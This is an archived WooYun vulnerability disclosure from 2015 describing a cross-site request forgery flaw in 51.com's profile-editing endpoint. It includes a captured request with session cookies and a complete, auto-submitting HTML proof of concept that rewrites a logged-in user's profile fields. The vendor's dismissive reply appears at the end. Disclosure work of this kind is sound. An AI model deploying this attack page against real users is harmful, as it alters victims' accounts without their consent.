乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-07-20: 细节已通知厂商并且等待厂商处理中 2015-07-20: 厂商已经主动忽略漏洞,细节向公众公开
51.comCSRF漏洞可修改用户个人信息
注册用户-登录-个人资料设置 --抓包
POST /user/modifyinfoedit HTTP/1.1Host: my.51.comProxy-Connection: keep-aliveContent-Length: 222Accept: application/json, text/javascript, */*; q=0.01Origin: http://my.51.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0Content-Type: application/x-www-form-urlencoded; charset=UTF-8DNT: 1Referer: http://my.51.com/user/modifyinfoAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: FO_TUID=mtS89X; PHPSESSID=7788e6b685bdb209eea4612e8ef496d5; Hm_lvt_940aa8668c1606e3733aded32f601d5d=1437255774; Hm_lpvt_940aa8668c1606e3733aded32f601d5d=1437255774; FO_LSTATE=1437255812|409867276|5074c1d07b613fc62c4361eb021f4e5a|$$||2; FO_TOKEN=82823814d2ed9e46d881fc0e113b03a7; FO_INFO=eNotjUsOgzAMRE/TbCpQHD6BhRddcgoUJS6NWmJEArS3Ly1srDeaN7JYIs19pDeCePFK/TTzigdanz4nJt4Cir8bvH0GM9IZ78YSyoNnGpxJhEpClUmdQXuV1aW4lcV+CjikZfo5k4mxT378b73DUrZNrZWu93+DD92EoGTeQA5NmystBmbXuV021vISEm7MnyVYig8vHt45Cns5m+B4RCgLraqqAfUFj4BJuw==; FO_APP=4ac3Th6xmmmIqjfp1K8bSj6iQqM1WEr1y+kOiHgjumsNWYaqA3gaHcSPJ7r4QBHOjTU; guibin_kefu_409867276=0%7C0%7C0%7Chttp%3A%2F%2Fp4.pic.51img1.com%2Fv6%2Fguibin%2Fimages%2Fguibin_kefu.gif%3Fv%3D20140408; s_409867276=409867276|wooyunceshi|2015-07-19 05:43:31|web_link_www_passport; shortmsglibao=409867276|1; Hm_lvt_34f7e7c39b355473a2e7222e7aca5498=1437255815,1437255877,1437255882,1437255888; Hm_lpvt_34f7e7c39b355473a2e7222e7aca5498=1437257349nickname=wooyun666666&sex=0&preferredBirthday=0&byear=2015&bmonth=2&bday=1&hideage=0&prov=北京&city=大兴&town=大兴&height=150&work=搬砖&study=7&money=6&idea=1&style=1
发现没用token之类的验证,来看看能不能实施CSRF攻击
<html> <!-- o(∩_∩)o --> <body> <form action="http://my.51.com/user/modifyinfoedit" method="POST"> <input type="hidden" name="nickname" value="wooyun186" /> <input type="hidden" name="sex" value="0" /> <input type="hidden" name="preferredBirthday" value="0" /> <input type="hidden" name="byear" value="2015" /> <input type="hidden" name="bmonth" value="2" /> <input type="hidden" name="bday" value="1" /> <input type="hidden" name="hideage" value="0" /> <input type="hidden" name="prov" value="北京" /> <input type="hidden" name="city" value="大兴" /> <input type="hidden" name="town" value="大兴" /> <input type="hidden" name="height" value="150" /> <input type="hidden" name="work" value="搬砖" /> <input type="hidden" name="study" value="7" /> <input type="hidden" name="money" value="6" /> <input type="hidden" name="idea" value="1" /> <input type="hidden" name="style" value="1" /> <input type="submit" value="Submit request" /> </form> </body> <script>document.forms[0].submit();</script></html>
打开看看.
成功修改
其他也是可以修改的
你们更专业
危害等级:无影响厂商忽略
忽略时间:2015-07-20 16:43
自己的信息通过表单提交,当然是爱怎么改就怎么改无法修改别人的,我们都是通过session来进行控制
暂无